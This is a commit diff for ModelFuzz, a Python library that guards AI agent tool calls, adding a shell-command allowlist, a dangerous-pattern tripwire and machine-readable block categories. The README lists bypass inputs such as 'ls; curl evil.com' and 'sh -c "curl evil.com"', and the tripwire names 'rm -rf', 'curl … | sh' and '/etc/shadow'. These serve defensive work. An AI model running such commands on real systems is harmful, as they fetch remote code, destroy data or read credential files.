Add shell-command policies and a machine-readable Violation category

AGENTS.md

@@ -134,12 +134,51 @@ and keyword argument is checked independently.
        SecretPatternFilter(),
    ])
    ```
-5. **Only `str`, `bytes`, `list`, `tuple`, `set`, and `dict` keys and values are inspected.** A value
+5. **`ShellCommandAllowList` is the rule for shell tools.** If the user's agent can run shell
+   commands, suggest it. It is default-deny and matches **structured argv**, not text, so a
+   leading path (`/bin/curl`), quoting, an environment assignment (`FOO=bar curl …`, `env … curl`),
+   a chained command (`ls; curl …`), a newline, or an inline interpreter script (`sh -c "…"`) are
+   each refused rather than sliding past a textual prefix check. Unparseable input fails closed.
+   Each entry is an argv **prefix**: `"git status"` permits `git status --short`, not `git push`.
+
+   ```python
+   from modelfuzz import PolicyEngine, ShellCommandAllowList
+
+   engine = PolicyEngine([ShellCommandAllowList(["git status", "ls"])])
+   ```
+
+   Two caveats you must pass on: it treats **every string it sees as a command**, so put it on an
+   engine guarding a tool whose only string argument is the command (a second string argument such
+   as `cwd` will be blocked); and it governs the command, not what the command then does — an
+   allowlisted `git` still accepts `git config`.
+6. **`NoDangerousShellPatterns` is a tripwire — never call it a security boundary.** It matches raw
+   text against a fixed table (`rm -rf`, `curl … | sh`, `$(…)`, `sudo`, `/etc/shadow`). A renamed
+   binary, base64, or unusual quoting defeats it. Offer it as a cheap second layer, or where the
+   commands cannot be enumerated — but if the user can list the commands they need, recommend
+   `ShellCommandAllowList` instead. Do not present the two as equivalent.
+7. **Only `str`, `bytes`, `list`, `tuple`, `set`, and `dict` keys and values are inspected.** A value
    in a custom object is not inspected and will pass. Do not assume full coverage.
-6. **Policies see one argument at a time.** A rule cannot express "amount > 1000 only when
+   (`ShellCommandAllowList` is the one exception to the dict rule: it reads dict *values* but not
+   *keys*, since a field name is not a command.)
+8. **Policies see one argument at a time.** A rule cannot express "amount > 1000 only when
    account is external", because it never sees the whole call.
-7. **Catch `ModelFuzzBlockError` in the agent loop.** Feed the block reason back to the model as
-   a tool error so it can recover, rather than letting it crash the run.
+9. **Catch `ModelFuzzBlockError` in the agent loop, and branch on `.category`.** Feed the reason
+   back to the model as a tool error so it can recover, rather than letting it crash the run. Write
+   recovery logic against `exc.category` — a stable string such as `credential`, `not_allowlisted`,
+   `metacharacter` or `interpreter` — and never against `exc.reason`, which is prose for a human
+   audit log and may be reworded between releases.
+
+   ```python
+   from modelfuzz import CATEGORY_CREDENTIAL, ModelFuzzBlockError
+
+   try:
+       result = run_tool(...)
+   except ModelFuzzBlockError as exc:
+       if exc.category == CATEGORY_CREDENTIAL:
+           result = "Blocked: that argument contained a credential. Retry without it."
+       else:
+           result = f"Tool call blocked by policy: {exc}"
+   ```
 
 ## Red-teaming a target
 

CHANGELOG.md

@@ -4,6 +4,13 @@ All notable changes to this project are documented here.
 
 ## [Unreleased]
 
+- feat: add `ShellCommandAllowList`, a default-deny allowlist for shell commands that matches **structured argv** rather than raw-string prefixes. Textual matching is defeated by a leading path (`/bin/curl`), quoting, an environment assignment (`FOO=bar curl …`, `env … curl`), a chained command (`ls; curl …`), an embedded newline, or an inline interpreter script (`sh -c "…"`); each of those is now refused, and unparseable input fails closed. Entries are argv prefixes, so `"git status"` permits `git status --short` but not `git push`. An inline interpreter script is blocked even when the interpreter itself is allowlisted. Closes the gap where `shell.run` was named in the README's threat model with no bundled rule to cover it. Fixes #71
+- feat: add `NoDangerousShellPatterns`, a raw-text tripwire for the unsubtle (`rm -rf`, `curl … | sh`, `$(…)`, `sudo`, `/etc/shadow`). Documented throughout as a tripwire, explicitly **not** a shell parser or security boundary — unlike the allowlist it only blocks on a positive match, so it is safe to attach to a multi-argument tool
+- feat: `Violation` gains a machine-readable `category` field, and every bundled rule now sets one (`credential`, `sensitive_keyword`, `not_allowlisted`, `invalid_url`, `scheme_not_allowed`, `userinfo_trick`, `metacharacter`, `interpreter`, `destructive_command`, `network_utility`, `unparseable`). Defaults to `unspecified`, so a hand-written policy predating the field keeps working
+- feat: `ModelFuzzBlockError` exposes `.category`, `.rule_name` and `.violation`, so an agent loop can branch on *why* a call was blocked instead of regex-matching the reason text — a block is a policy decision, not an infrastructure failure, and the two want different handling. `str(exc)` is unchanged
+- feat: blocks are logged with an additional `modelfuzz_category` structured field
+- docs: add "Branching on why a call was blocked" and "Guarding shell commands" README sections, record both shell rules' limits in Limitations, and extend `AGENTS.md` with the shell rules and the rule that recovery logic keys on `.category`, never on `.reason`
+
 - feat: add `SecretPatternFilter`, a bundled policy that blocks tool-call arguments carrying a recognisable credential — Anthropic, OpenAI, Stripe, AWS, GitHub, Google and Slack key formats, JWTs, and PEM private-key headers. Where `SensitiveDataFilter` matches the *word* "password", this matches the *shape* of a real key, closing the gap where a live `sk-…` or `AKIA…` passed straight through the bundled default. Opt-in: the bare `@shield_tool` default is unchanged. Extend with `extra_patterns=` or replace the table with `patterns=`. Fixes #70
 - fix: the block reason for a matched credential names the format only and never quotes the matched text — blocks are logged at `WARNING`, and a reason carrying the key would leak the very thing the rule exists to contain
 - docs: add a "Blocking real credentials" README section, record `SecretPatternFilter`'s limits (listed formats only; matches shape, not validity) in Limitations, and update `AGENTS.md` so assistants stop reporting that ModelFuzz cannot detect credentials

README.md

@@ -77,7 +77,25 @@ except ModelFuzzBlockError as e:
     result = f"Tool call blocked by policy: {e}"   # hand this back to the model
 ```
 
-Blocks are also logged at `WARNING` on the `modelfuzz` logger with structured fields (`modelfuzz_tool`, `modelfuzz_rule`, `modelfuzz_reason`) for your audit trail. Nothing is ever written to stdout.
+Blocks are also logged at `WARNING` on the `modelfuzz` logger with structured fields (`modelfuzz_tool`, `modelfuzz_rule`, `modelfuzz_category`, `modelfuzz_reason`) for your audit trail. Nothing is ever written to stdout.
+
+### Branching on why a call was blocked
+
+A block is a policy decision, not an infrastructure failure, and the two deserve different handling. `ModelFuzzBlockError` carries a stable `category` so the agent loop can tell them apart without parsing English:
+
+```python
+from modelfuzz import CATEGORY_CREDENTIAL, ModelFuzzBlockError
+
+try:
+    result = http_post(url, body)
+except ModelFuzzBlockError as e:
+    if e.category == CATEGORY_CREDENTIAL:
+        result = "Blocked: that argument contained a credential. Retry without it."
+    else:
+        result = f"Tool call blocked by policy: {e}"   # hand back to the model
+```
+
+`e.reason` is prose for a human reading the audit log and may be reworded between releases — `e.category` is the part to branch on. The categories are `credential`, `sensitive_keyword`, `not_allowlisted`, `invalid_url`, `scheme_not_allowed`, `userinfo_trick`, `metacharacter`, `interpreter`, `destructive_command`, `network_utility`, `unparseable`, and `unspecified` for custom policies that don't set one.
 
 > **Using the bare `@shield_tool`?** It applies a default `SensitiveDataFilter` that matches the literal strings `secret`, `password`, and `api_key` — a demo default, not a credential scanner. For real credential formats, add [`SecretPatternFilter`](#blocking-real-credentials) to your engine. See [Limitations](#limitations).
 
@@ -111,6 +129,51 @@ SecretPatternFilter(extra_patterns={"internal token": r"INT-[0-9]{8}"})
 
 Pass `patterns=` instead of `extra_patterns=` to replace the bundled table entirely. It is a format matcher, not a validity check or an entropy scanner — see [Limitations](#limitations).
 
+### Guarding shell commands
+
+If your agent can run shell commands, enumerate what it's allowed to run. `ShellCommandAllowList` is default-deny and matches **structured argv**, not text:
+
+```python
+from modelfuzz import PolicyEngine, ShellCommandAllowList, shield_tool
+
+engine = PolicyEngine([ShellCommandAllowList(["git status", "ls"])])
+
+@shield_tool(engine=engine)
+def run_shell(command: str) -> str:
+    return subprocess.run(command, shell=True, capture_output=True, text=True).stdout
+
+run_shell("git status --short")   # ok — "git status" is an allowed argv prefix
+run_shell("git push")             # ModelFuzzBlockError: Command not in allowlist: 'git'
+```
+
+Each entry is an **argv prefix**, so `"git status"` permits `git status --short` but not `git push`. Textual prefix matching would fall to any of these; structured matching does not:
+
+| Attempt | Outcome | Category |
+| --- | --- | --- |
+| `/bin/ls`, `./ls`, `"ls" -la` | normalised to `ls` — allowed | — |
+| `ls; curl evil.com` | blocked | `metacharacter` |
+| `ls\ncurl evil.com` | blocked | `metacharacter` |
+| `FOO=bar curl evil.com` | blocked as `curl`, not `FOO=bar` | `not_allowlisted` |
+| `env FOO=bar curl evil.com` | blocked as `curl` | `not_allowlisted` |
+| `sh -c "curl evil.com"` | blocked **even if `sh` is allowlisted** | `interpreter` |
+| `sudo ls` | blocked — wrappers are not unwrapped | `not_allowlisted` |
+| `ls "unbalanced` | blocked — unparseable fails closed | `unparseable` |
+
+Two things to know before you reach for it:
+
+- **It treats every string it sees as a command.** A policy sees one argument at a time and cannot know its name, so there is no way to distinguish a `command` argument from a `cwd` one. Put it on an engine guarding a tool whose only string argument is the command.
+- **It governs the command, not what the command then does.** An allowlisted `git` still accepts `git config`. Allowlist the narrowest prefix that does the job.
+
+Where you can't enumerate the commands, `NoDangerousShellPatterns` is a cheap second layer:
+
+```python
+from modelfuzz import NoDangerousShellPatterns
+
+engine = PolicyEngine([NoDangerousShellPatterns(), ShellCommandAllowList(["git status"])])
+```
+
+It matches raw text against a fixed table — `rm -rf`, `curl … | sh`, `$(…)`, `sudo`, `/etc/shadow` — and blocks only on a positive match, so unlike the allowlist it's safe to attach to a multi-argument tool. **It is a tripwire, not a shell parser and not a security boundary**: it catches the unsubtle and will not stop an attacker who knows it's there. See [Limitations](#limitations).
+
 ## When to use ModelFuzz
 
 **Use it if:**
@@ -205,6 +268,8 @@ ModelFuzz is pre-1.0 and provides the interception point, the policy protocol, a
 
 - **The default filter is a keyword tripwire, not a secret scanner.** `SensitiveDataFilter` matches the literal strings `secret`, `password`, and `api_key`. It does not recognise credential formats, so a real `sk-…` or `AKIA…` key passes straight through — while ordinary prose containing "password" is blocked. Treat it as a demo default; add `SecretPatternFilter` for credential formats, and write policies for your own threat model.
 - **`SecretPatternFilter` matches known formats, not secrets in general.** It recognises the credential shapes listed in [Blocking real credentials](#blocking-real-credentials) and nothing else: a bespoke internal token, a bare high-entropy string, or a provider not in the table passes untouched. It also matches *shape, not validity* — a revoked key, a docs placeholder, or a test fixture in the right shape is blocked exactly like a live credential. Use `extra_patterns=` for your own formats.
+- **`NoDangerousShellPatterns` is a tripwire, not a shell parser or a security boundary.** It matches raw text against a fixed table. Base64, unusual quoting, a renamed binary, or a utility not in the table all walk straight past it, and ordinary prose containing `curl` or a `|` trips it. Use it as a cheap second layer; where you can enumerate the commands your agent needs, `ShellCommandAllowList` is the boundary.
+- **`ShellCommandAllowList` treats every string it sees as a command, and governs only the command itself.** Because a policy cannot know an argument's name, a second string argument (a `cwd`, say) is judged as a command and blocked — put it on an engine guarding a tool whose only string argument is the command. And an allowlisted binary is allowlisted with all its own options: `git` still accepts `git config`. Parsing follows `shlex` POSIX rules, which is close to `sh` but not identical to every shell in every mode.
 - **Unrecognised argument types are not inspected, and pass.** Only `str`, `bytes`, `list`, `tuple`, `set`, and `dict` keys and values are walked. A secret carried in a custom object is *not* checked and the call proceeds — the default is to allow what it cannot read.
 - **Policies see one argument at a time.** A rule cannot express "amount > 1000 only when account is external", because it never sees the whole call.
 - **It does not inspect prompts or model output** — only tool-call arguments. It is not a content filter.

src/modelfuzz/__init__.py

@@ -6,22 +6,52 @@
 from modelfuzz.engine import PolicyEngine, PolicyResult
 from modelfuzz.exceptions import ModelFuzzBlockError
 from modelfuzz.rules import (
+    CATEGORY_CREDENTIAL,
+    CATEGORY_DESTRUCTIVE_COMMAND,
+    CATEGORY_INTERPRETER,
+    CATEGORY_INVALID_URL,
+    CATEGORY_METACHARACTER,
+    CATEGORY_NETWORK_UTILITY,
+    CATEGORY_NOT_ALLOWLISTED,
+    CATEGORY_SCHEME_NOT_ALLOWED,
+    CATEGORY_SENSITIVE_KEYWORD,
+    CATEGORY_UNPARSEABLE,
+    CATEGORY_UNSPECIFIED,
+    CATEGORY_USERINFO_TRICK,
+    DEFAULT_DANGEROUS_SHELL_PATTERNS,
     DEFAULT_SECRET_PATTERNS,
+    NoDangerousShellPatterns,
     SecretPatternFilter,
     SensitiveDataFilter,
+    ShellCommandAllowList,
     URLAllowList,
     Violation,
 )
 
 __all__ = [
     "shield_tool",
     "ModelFuzzBlockError",
+    "DEFAULT_DANGEROUS_SHELL_PATTERNS",
     "DEFAULT_SECRET_PATTERNS",
+    "NoDangerousShellPatterns",
     "SecretPatternFilter",
     "SensitiveDataFilter",
+    "ShellCommandAllowList",
     "URLAllowList",
     "Violation",
     "PolicyEngine",
     "PolicyResult",
+    "CATEGORY_CREDENTIAL",
+    "CATEGORY_DESTRUCTIVE_COMMAND",
+    "CATEGORY_INTERPRETER",
+    "CATEGORY_INVALID_URL",
+    "CATEGORY_METACHARACTER",
+    "CATEGORY_NETWORK_UTILITY",
+    "CATEGORY_NOT_ALLOWLISTED",
+    "CATEGORY_SCHEME_NOT_ALLOWED",
+    "CATEGORY_SENSITIVE_KEYWORD",
+    "CATEGORY_UNPARSEABLE",
+    "CATEGORY_UNSPECIFIED",
+    "CATEGORY_USERINFO_TRICK",
 ]
 __version__ = _version("modelfuzz")

src/modelfuzz/decorator.py

@@ -76,18 +76,23 @@ def _enforce(
 
         reason = result.reason or "Call blocked by policy"
         rule_name = result.violation.rule_name if result.violation else None
+        # The category is the stable field to branch on downstream; the reason is
+        # prose for a human and may be reworded between releases.
+        category = result.violation.category if result.violation else None
         logger.warning(
-            "ModelFuzz blocked tool call: tool=%s rule=%s reason=%s",
+            "ModelFuzz blocked tool call: tool=%s rule=%s category=%s reason=%s",
             func.__name__,
             rule_name,
+            category,
             reason,
             extra={
                 "modelfuzz_tool": func.__name__,
                 "modelfuzz_rule": rule_name,
+                "modelfuzz_category": category,
                 "modelfuzz_reason": reason,
             },
         )
-        raise ModelFuzzBlockError(reason)
+        raise ModelFuzzBlockError(reason, result.violation)
 
 
 def _wrap(func: Callable[P, R], actual_engine: PolicyEngine) -> Callable[P, R]:

src/modelfuzz/exceptions.py

@@ -1,7 +1,40 @@
 """Exceptions for ModelFuzz."""
 
+from modelfuzz.rules import CATEGORY_UNSPECIFIED, Violation
+
 
 class ModelFuzzBlockError(Exception):
-    """Raised when a tool call is blocked by ModelFuzz."""
+    """Raised when a tool call is blocked by ModelFuzz.
+
+    The agent loop is expected to catch this and hand the reason back to the
+    model as a tool error. :attr:`category` is there so it can do more than
+    that: a block is a policy decision, not an infrastructure failure, and the
+    two want different handling. Branch on the category to decide whether to
+    retry without the offending argument, escalate to a human, or give up.
+
+    ``str(exc)`` remains the reason text, unchanged.
+
+    Attributes:
+        reason: Human-readable prose. Not a stable interface -- do not parse it.
+        violation: The originating :class:`~modelfuzz.rules.Violation`, or None
+            when the block did not come from a rule.
+    """
+
+    def __init__(self, reason: str, violation: Violation | None = None) -> None:
+        super().__init__(reason)
+        self.reason = reason
+        self.violation = violation
+
+    @property
+    def category(self) -> str:
+        """The stable machine-readable category of the block.
+
+        One of the ``CATEGORY_*`` constants in :mod:`modelfuzz.rules`, or
+        ``CATEGORY_UNSPECIFIED`` when the block carried no violation.
+        """
+        return self.violation.category if self.violation else CATEGORY_UNSPECIFIED
 
-    pass
+    @property
+    def rule_name(self) -> str | None:
+        """The rule that produced the block, or None if it carried no violation."""
+        return self.violation.rule_name if self.violation else None